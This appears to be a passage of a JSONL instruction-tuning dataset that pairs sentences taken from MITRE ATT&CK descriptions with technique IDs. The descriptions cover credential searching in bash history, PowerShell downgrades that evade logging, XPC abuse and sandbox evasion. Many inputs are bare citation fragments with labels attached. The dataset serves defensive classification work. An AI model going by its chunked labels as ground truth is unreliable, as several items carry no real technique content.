further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Powershell Remote Commands)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Powershell Remote Commands)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco IOS Software Integrity Assurance - Command History)(Citation:", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco IOS Software Integrity Assurance - Command History)(Citation: ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Shell Execution in Python)", "output": "T1059", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Shell Execution in Python) ### Response: T1059."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CLIs typically contain various permission levels required for different commands.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CLIs typically contain various permission levels required for different commands. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Scripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004). ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the network CLI to change how network devices behave and operate.", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the network CLI to change how network devices behave and operate. ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)", "output": "T1059.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution) ### Response: T1059.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search the bash command history on compromised systems for insecurely stored credentials. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bash keeps track of the commands users type on the command-line with the \"history\" utility.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bash keeps track of the commands users type on the command-line with the \"history\" utility. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each user, this file resides at the same location: <code>~/.bash_history</code>.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each user, this file resides at the same location: <code>~/.bash_history</code>. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, this file keeps track of the user\u2019s last 500 commands.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, this file keeps track of the user\u2019s last 500 commands. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this by looking through the file for potential credentials.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this by looking through the file for potential credentials. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: External to DA, the OS X Way)", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: External to DA, the OS X Way) ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrade attacks typically take advantage of a system\u2019s backward compatibility to force it into less secure modes of operation. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Praetorian TLS Downgrade Attack 2014)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Praetorian TLS Downgrade Attack 2014) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content.", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "CrowdStrike BGH Ransomware 2021)(Citation:", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CrowdStrike BGH Ransomware 2021)(Citation: ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Mandiant BYOL 2018)(Citation: att_def_ps_logging)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant BYOL 2018)(Citation: att_def_ps_logging) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)", "output": "T1562.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) ### Response: T1562.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is typically used by processes to share data, communicate with each other, or synchronize execution.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse IPC to execute arbitrary code or commands.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse IPC to execute arbitrary code or commands. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Component Object Model](https://attack.mitre.org/techniques/T1559/001).", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "output": "T1559", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can provide malicious content to an XPC service daemon for local code execution.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can provide malicious content to an XPC service daemon for local code execution. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections).", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev) ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse XPC services to execute malicious content.", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse XPC services to execute malicious content. ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation)", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", "output": "T1559.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). ### Response: T1559.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop.", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)", "output": "T1497.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ### Response: T1497.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also search for VME artifacts before dropping secondary or additional payloads.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001),", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[System Information Discovery](https://attack.mitre.org/techniques/T1082), and", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [System Information Discovery](https://attack.mitre.org/techniques/T1082), and ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Checks could include generic system properties such as host/domain name and samples of network traffic.", "output": "T1497.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checks could include generic system properties such as host/domain name and samples of network traffic. ### Response: T1497.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also check the network adapters 